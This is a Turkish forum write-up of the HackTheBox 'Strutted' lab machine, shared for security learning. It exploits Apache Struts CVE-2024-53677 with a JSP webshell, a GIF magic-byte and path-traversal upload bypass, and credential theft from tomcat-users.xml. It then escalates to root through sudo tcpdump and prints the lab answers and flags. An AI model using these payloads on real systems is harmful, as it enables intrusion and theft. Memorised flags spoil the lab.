Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

Analiz HackTheBox Strutted Writeup

omertugrulbayram

Moderator
Aday
Katılım
2 Ocak 2026
Mesajlar
17
Tepkime puanı
26
Puan
13
Merhaba arkadaşlar, Bugün HackTheBox platformunda Medium seviyede bulunan Strutted makinesini çözeceğiz. Her zaman olduğu gibi ilk başta vpn ile bağlanıp makinemizi başlatıyoruz.
İlk sorumuz,
1768054483193.jpg

Kaç adet portun açık olduğunu soruyor, nmap taraması yaparak cevabımızı bulalım.

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Gördüğünüz gibi 2 adet portumuz açık.

CEVAP: 2

Şimdi 80 portu açık olduğu için tarayıcımızdan web sitesini inceleyeceğiz ama ondan önce nano /etc/hosts komutu ile dns tanımlaması yapmamız gerek.


<machine_ip_adresi> strutted.htb

1768054833184.jpg


İkinci sorumuz; “”İndir”e tıklamak, uygulamanın Docker ortamını içeren bir zip dosyasının indirilmesini tetikler. Hedefte çalışan uygulama sunucusunun adı nedir?Bu sorumuzu cevaplamak için web sitesine girip istenilen dosyayı indiriyoruz. Dosya .zip ile indi unzip ile çıkartıyoruz.

┌──(kali㉿kali)-[~/Downloads/strutted]

└─$ ls
mvnw mvnw.cmd pom.xml src target

┌──(kali㉿kali)-[~/Downloads/strutted]

└─$

CEVAP: tomcat

1768054971227.jpg


3. sorumuzda Java projesinde, uygulamanın bağımlılıklarını içeren bu dosyanın adı nedir? sorusunu soruyor. Burada projemiz bir Maven projesi, maven projelerinde tüm kütüpühaneler ve bağımlılıklar, pom.xml dosyasında tutulur, ls komutumuzun çıktısındada bunu görmüştük zaten.


CEVAP: pom.xml

1768055120183.jpg

4. SorumuzdaUygulamanın kullandığı MVC çerçevesinin adı nedir?sorusu soruluyor bunun cevabını pom.xml dosyasının içerisinden buluyoruz.


<groupId>org.apache.struts</groupId>

CEVAP: Apache Struts

1768055212704.jpg

5. Sorumuzda "Uygulama hangi framework sürümünü kullanıyor?" sorusu soruluyor, bununda cevabını yine pom.xml dosyamızda buluyoruz.
<struts2.version>6.3.0.1</struts2.version>

Bu satır, uygulamanın Struts 6.3.0.1 sürümünü kullanacak şekilde derlendiğini gösterir.

CEVAP: 6.3.0.1

1768055304731.jpg


6. sorumuzda Apache Struts’taki dosya yükleme mantığı güvenlik açığına atanan 2024 CVE kimliği nedir? sorusunu soruyor, biraz araştırma yaparak cevabını bulacağız.


1768055343351.jpg


Ufak bir araştırma sonucunda CVE kodumuzu buluyoruz.

CEVAP: CVE-2024–53677

1768055369905.jpg

7. sorumuzda Strutted üzerinde web uygulaması hangi sistem kullanıcısı olarak çalışıyor? sorusu soruluyor, bu sorumuzun cevabını diğer incelediğimiz yerlerden çıkarım yapacağız yani, tomcat ile çalıştığını biliyoruz ve tomcat ile olan web uygulamaları genellikle kendi adıyla oluşturulmuş kısıtlı bir kullanıcı olan tomcat kullanıcısı ile çalıştırılır.
CEVAP: tomcat

1768055438519.jpg


8. sorumuzda Strutted’da james kullanıcısının şifresi nedir? sorusu soruluyor, bu durumda artık web sitesine dönüp burp ile manipülasyonlara başlamamız lazım, web sitesi direk bizi dosya yükleme ekranıyla karşılıyor. Zaten bulunan açıkta dosya yüklemde bulunan bir açık. Struts 2'nin bu zafiyetinde olay şudur: Dosya yüklerken “File Upload Interceptor” önce dosya uzantısını kontrol eder (senin gönderdiğin filename="test.png" kısmına bakar). Ancak, biz HTTP isteğine manuel olarak yeni bir parametre ekleyip dosya ismini (fileName) sonradan ezersek, Struts dosyayı kaydederken bizim istediğimiz yeni ismi kullanır.
https://medium.com/plans?source=upg...2756ab---------------------------------------

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Length: 73682
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryef7mEWr3zasJflfZ
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/upload.action;jsessionid=48303CD02846DBC039C3671B7E40A13B
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=48303CD02846DBC039C3671B7E40A13B
Connection: keep-alive

------WebKitFormBoundaryef7mEWr3zasJflfZ
Content-Disposition: form-data; name="upload"; filename="img.jpg"

Content-Type: image/jpeg

Dosya yüklemeye çalıştığımızda böyle bir istek gönderiliyor, isteğimizi manipüle edip shell kodu göndereceğiz.

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryef7mEWr3zasJflfZ
User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
Cookie: JSESSIONID=48303CD02846DBC039C3671B7E40A13B
Connection: keep-alive
Content-Length: 529

------WebKitFormBoundaryef7mEWr3zasJflfZ
Content-Disposition: form-data; name="upload"; filename="img.jpg"
Content-Type: image/jpeg

<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
%>
------WebKitFormBoundaryef7mEWr3zasJflfZ
Content-Disposition: form-data; name="uploadFileName"

shell.jsp
------WebKitFormBoundaryef7mEWr3zasJflfZ--

Kodumuzu burp ile manipüle edip gönderdik sonucumuz 200 döndü fakat bir sorunumuz var.

<div class="alert alert-danger text-center" role="alert">
The file does not appear to be a valid image.
</div>

Bu durum bize şunu söylüyor,Struts sadece dosya uzantısına (.jpg) bakmıyor, dosyanın içeriğini (Magic Bytes) de kontrol ediyor. Benim gönderdiğim JSP kodunu okudu, "Bu resim değil" dedi ve işlemi iptal etti. Bunu aşmak için Magic Bytes (Dosya İmzası) tekniğini kullanacağız. Payload’un en başına sahte bir GIF imzası ekleyerek sunucuyu kandıracağız.

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryef7mEWr3zasJflfZ
... (Dier Headerlar Ayn1 Kals1n) ...
Content-Length: 540

------WebKitFormBoundaryef7mEWr3zasJflfZ
Content-Disposition: form-data; name="upload"; filename="bypass.gif"
Content-Type: image/gif

GIF89a;
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
%>
------WebKitFormBoundaryef7mEWr3zasJflfZ
Content-Disposition: form-data; name="uploadFileName"

shell.jsp
------WebKitFormBoundaryef7mEWr3zasJflfZ--

Komutumuzu böyle gönderdik ve yüklemeyi başardık 🎉Ancak HTML çıktısında &lt;img src="uploads/20260109_131736/bypass.gif" ... /&gt; yazıyor. Yani sistem bize "Ben bunu GIF olarak kaydettim" diyor. Eğer dosya uzantısı .gif kaldıysa JSP kodumuz çalışmaz.

Ama Struts bazen dosyayı bizim istediğimiz isimle (shell.jsp) kaydeder ama ekrana eski ismi basar. O yüzden hemen kontrol etmemiz lazım.

┌──(kali㉿kali)-[~]
└─$ curl "http://strutted.htb/uploads/20260109_131736/shell.jsp?cmd=id"
<!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [&#47;uploads&#47;20260109_131736&#47;shell.jsp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.58 (Ubuntu)</h3></body></html>

404 Aldık :( Burp komutumuzda ufak bir değişiklik yapıp tekrar deneyelim.
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAdamGibi
Content-Length: 725

------WebKitFormBoundaryAdamGibi
Content-Disposition: form-data; name="Upload"; filename="bypass.png"
Content-Type: image/png

GIF89a;
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
------WebKitFormBoundaryAdamGibi
Content-Disposition: form-data; name="top.uploadFileName"

../../cmd.jsp
------WebKitFormBoundaryAdamGibi--

Komutumuzu şu şekilde değiştirip isteğimizi tekrar gönderiyoruz.

┌──(kali㉿kali)-[~]
└─$ curl "http://strutted.htb/cmd.jsp?cmd=id"
GIF89a;

uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)

Artık içerideyiz ve sunucuda komut çalıştırabiliyoruz

┌──(kali㉿kali)-[~]
└─$ curl "http://strutted.htb/cmd.jsp?cmd=find+/usr+/opt+/etc+/var+-name+tomcat-users.xml"
GIF89a;

/usr/share/tomcat9/etc/tomcat-users.xml
/etc/tomcat9/tomcat-users.xml

Dosyamızın yerini bulup gerekli bilgileri çekeceğiz.

──(kali㉿kali)-[~]
└─$ curl "http://strutted.htb/cmd.jsp?cmd=cat+/etc/tomcat9/tomcat-users.xml"
GIF89a;

<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only

The users below are wrapped in a comment and are therefore ignored. If you
wish to configure one or more of these users for use with the manager web
application, do not forget to remove the <!.. ..> that surrounds them. You
will also need to set the passwords to something appropriate.
-->
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
<!--
The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>

┌──(kali㉿kali)-[~]
└─$

<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>

Burada güzel bir bilgi ele geçiriyoruz

┌──(kali㉿kali)-[~]
└─$ ssh james@strutted.htb
The authenticity of host 'strutted.htb (10.10.11.59)' can't be established.
ED25519 key fingerprint is: SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:15: [hashed name]
~/.ssh/known_hosts:18: [hashed name]
~/.ssh/known_hosts:19: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'strutted.htb' (ED25519) to the list of known hosts.
james@strutted.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Fri Jan 9 01:35:19 PM UTC 2026

System load: 0.0
Usage of /: 70.3% of 5.81GB
Memory usage: 19%
Swap usage: 0%
Processes: 215
Users logged in: 0
IPv4 address for eth0: 10.10.11.59
IPv6 address for eth0: dead:beef::250:56ff:fe94:3604


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jan 21 13:46:18 2025 from 10.10.14.64
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

james@strutted:~$

Bize verilen şifre ile ssh’a bağlantımızı sağladık

james@strutted:~$ ls
user.txt
james@strutted:~$ cat user.txt
595f84a25b5c5ab58077046ae9f699ae
james@strutted:~$

USER FLAG: 595f84a25b5c5ab58077046ae9f699ae

1768056086826.jpg

Bu sorumuzun cevabı için ssh içerisinde dolaşacağız biraz


james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User james may run the following commands on localhost:

(ALL) NOPASSWD: /usr/sbin/tcpdump

CEVAP: tcpdump

(ALL) NOPASSWD: /usr/sbin/tcpdump
james@strutted:~$ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/exploit.sh
chmod +x /tmp/exploit.sh
james@strutted:~$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/exploit.sh
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ /tmp/rootbash -p
rootbash-5.1$ ls
user.txt
rootbash-5.1$ cat /root/root.txt
cat: /root/root.txt: Permission denied
rootbash-5.1$

root shelli aldık fakat okuma iznimiz yok.

COMMAND='cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF

sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

bu komutları çalıştırıp içeri girdikten sonra,
COMMAND='cp /var/lib/tomcat9/webapps/ROOT/WEB-INF/web.xml /tmp/web_analiz.xml; chmod 777 /tmp/web_analiz.xml'

TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF

ardından

sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Ardından exitleyip kendi kullanıcımıza dönüyoruz

james@strutted:/tmp$ echo 'cp /root/root.txt /tmp/bizim_flag.txt; chmod 777 /tmp/bizim_flag.txt' > /tmp/flag_al.sh
chmod +x /tmp/flag_al.sh
james@strutted:/tmp$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/flag_al.sh -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:/tmp$ cat /tmp/bizim_flag.txt
2f0b992cd3b4cac4c206eb333009d81c
james@strutted:/tmp$ cat /tmp/bizim_flag.txt
2f0b992cd3b4cac4c206eb333009d81c
james@strutted:/tmp$

FLAG: 2f0b992cd3b4cac4c206eb333009d81c
 
Geri
Üst